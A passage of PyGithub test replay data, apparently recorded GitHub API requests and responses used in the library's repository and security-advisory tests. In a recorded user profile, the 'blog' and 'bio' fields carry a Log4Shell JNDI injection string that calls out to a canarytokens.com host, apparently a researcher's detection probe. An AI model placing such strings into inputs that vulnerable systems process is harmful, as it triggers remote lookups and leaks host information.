'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '80E6:155D4B:D7C3EC:F32C9E:6760F9E5')] {"message":"Invalid new_owner","documentation_url":"https://docs.github.com/rest/repos/repos#transfer-a-repository","status":"422"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testUnsubscribePubSubHubbub.txt0000644000175100001660000000164314756101563026536 0ustar00runnerdockerhttps POST api.github.com None /hub {'Content-Type': 'multipart/form-data; boundary=----------------------------3c3ba8b523b2', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.callback"http://requestb.in/1bc1sc61------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.topic"https://github.com/PyGithub/PyGithub/events/push------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.mode"unsubscribe------------------------------3c3ba8b523b2-- 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Tue, 05 Feb 2013 18:58:12 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testUpdateCustomProperties.txt0000644000175100001660000000277114756101563026476 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/properties/values {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"properties": [{"property_name": "foo", "value": "bar"}]} 204 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 May 2024 21:14:43 GMT'), ('github-authentication-token-expiration', '2024-05-14 21:59:19 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'repository_custom_properties=write'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1715634908'), ('X-RateLimit-Used', '34'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E3E1:217A23:4C86BFF:5DECCFD:9E22D3D7')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testUpdateFile.txt0000644000175100001660000001025714756101563024024 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '16'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4997'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","sha":"5628799a7d517a4aaa0c1a7004d07569cd154df0","path":"doc/testCreateUpdateDeleteFile.md","encoding":"base64","_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md","html":"https://github.com/PyGithub/PyGithub/blob/master/doc/testCreateUpdateDeleteFile.md","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5628799a7d517a4aaa0c1a7004d07569cd154df0"},"content":"SGVsbG8gd29ybGQ=","size":16,"name":"doc/testCreateUpdateDeleteFile.md"} https PUT api.github.com None /repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"author": {"date": "2016-01-15T16:13:30+12:00", "email": "enix223@163.com", "name": "Enix Yu"}, "branch": "master", "committer": {"date": "2016-01-15T16:13:30+12:00", "email": "enix223@163.com", "name": "Enix Yu"}, "content": "SGVsbG8gV29ybGQ=", "message": "Update file for testUpdateFile", "sha": "5628799a7d517a4aaa0c1a7004d07569cd154df0"} 200 [('status', '200 OK'), ('content-length', '16'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4997'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"content": {"name": "testCreateUpdateDeleteFile.md", "url": "https://api.github.com/repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md", "html_url": "https://github.com/PyGithub/PyGithub/blob/master/doc/testCreateUpdateDeleteFile.md", "download_url": "https://raw.githubusercontent.com/PyGithub/PyGithub/master/doc/testCreateUpdateDeleteFile.md", "sha": "95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "_links": {"self": "https://api.github.com/repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md", "git": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs/95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "html": "https://github.com/PyGithub/PyGithub/blob/master/doc/testCreateUpdateDeleteFile.md"}, "git_url": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs/95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "path": "doc/testCreateUpdateDeleteFile.md", "type": "file", "size": 9}, "commit": {"committer": {"date": "2016-01-15T16:13:30+12:00", "name": "Enix Yu", "email": "enix223@gmail.com"}, "author": {"date": "2016-01-15T16:13:30+12:00", "name": "Enix Yu", "email": "enix223@gmail.com"}, "url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits/7638417db6d59f3c431d3e1f261cc637155684cd", "tree": {"url": "https://api.github.com/repos/PyGithub/PyGithub/git/trees/691272480426f78a0138979dd3ce63b77f706feb", "sha": "691272480426f78a0138979dd3ce63b77f706feb"}, "html_url": "https://github.com/PyGithub/PyGithub/git/commit/7638417db6d59f3c431d3e1f261cc637155684cd", "sha": "7638417db6d59f3c431d3e1f261cc637155684cd", "parents": [{"url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits/1acc419d4d6a9ce985db7be48c6349a0475975b5", "sha": "1acc419d4d6a9ce985db7be48c6349a0475975b5", "html_url": "https://github.com/PyGithub/PyGithub/git/commit/1acc419d4d6a9ce985db7be48c6349a0475975b5"}], "message": "my commit message"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.setUp.txt0000644000175100001660000006117714756101563023732 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"708c0e86a047d2741565623eb77ba80d8b8df08ca93044d1b821c62814d7b69b"'), ('Last-Modified', 'Mon, 13 Mar 2023 16:02:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F60F:138E:603528:C4AB1C:642C4F43')] {"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false,"name":"Jonathan Leitschuh","company":"@ossf ","blog":"${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}","location":"Boston, MA","email":"jonathan.leitschuh@gmail.com","hireable":null,"bio":"Software Engineer & Security Researcher;\r\n\r\nFirst Dan Kaminsky Fellow @ HUMAN Security;\r\n\r\n${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken","twitter_username":"JLLeitschuh","public_repos":1515,"public_gists":33,"followers":654,"following":65,"created_at":"2012-01-12T04:25:37Z","updated_at":"2023-03-13T16:02:40Z"} https GET api.github.com None /repos/JLLeitschuh/security-research {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c275e3fcb50b1e0cb18877f0e3b0641f4e0196247cb7d28de72baed9c15ad31"'), ('Last-Modified', 'Sun, 05 Mar 2023 20:38:47 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F610:1E99:61E6BF:C7BB05:642C4F44')] {"id":339780541,"node_id":"MDEwOlJlcG9zaXRvcnkzMzk3ODA1NDE=","name":"security-research","full_name":"JLLeitschuh/security-research","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/security-research","description":"Public disclosure channel for security vulnerabilities","fork":false,"url":"https://api.github.com/repos/JLLeitschuh/security-research","forks_url":"https://api.github.com/repos/JLLeitschuh/security-research/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/security-research/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/security-research/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/security-research/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/security-research/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/security-research/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/security-research/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/security-research/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/security-research/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/security-research/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/security-research/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/security-research/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/security-research/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/security-research/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/security-research/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/security-research/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/security-research/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/security-research/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/security-research/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/security-research/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/security-research/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/security-research/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/security-research/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/security-research/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/security-research/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/security-research/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/security-research/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/security-research/deployments","created_at":"2021-02-17T16:11:43Z","updated_at":"2023-03-05T20:38:47Z","pushed_at":"2023-02-24T18:21:14Z","git_url":"git://github.com/JLLeitschuh/security-research.git","ssh_url":"git@github.com:JLLeitschuh/security-research.git","clone_url":"https://github.com/JLLeitschuh/security-research.git","svn_url":"https://github.com/JLLeitschuh/security-research","homepage":null,"size":152,"stargazers_count":15,"watchers_count":15,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":true,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":8,"license":{"key":"cc0-1.0","name":"Creative Commons Zero v1.0 Universal","spdx_id":"CC0-1.0","url":"https://api.github.com/licenses/cc0-1.0","node_id":"MDc6TGljZW5zZTY="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":6,"open_issues":8,"watchers":15,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":6,"subscribers_count":4} https GET api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a7d34dabeec842896ab9597991bcdac9df2f40ea0f01b38901ea71843a45bc"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F615:4E3C:6FC6FA:E39FA2:642C4F44')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"}]} https PATCH api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"credits": []} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f4a77dc80164dd9e7a1f483b94c3db7ccbcbbccb996c1ed3d394cddf90b4d591"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F616:817C:6F2796:E1CA7F:642C4F44')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} https PATCH api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"credits": [{"login": "octocat", "type": "analyst"}]} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a7d34dabeec842896ab9597991bcdac9df2f40ea0f01b38901ea71843a45bc"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), 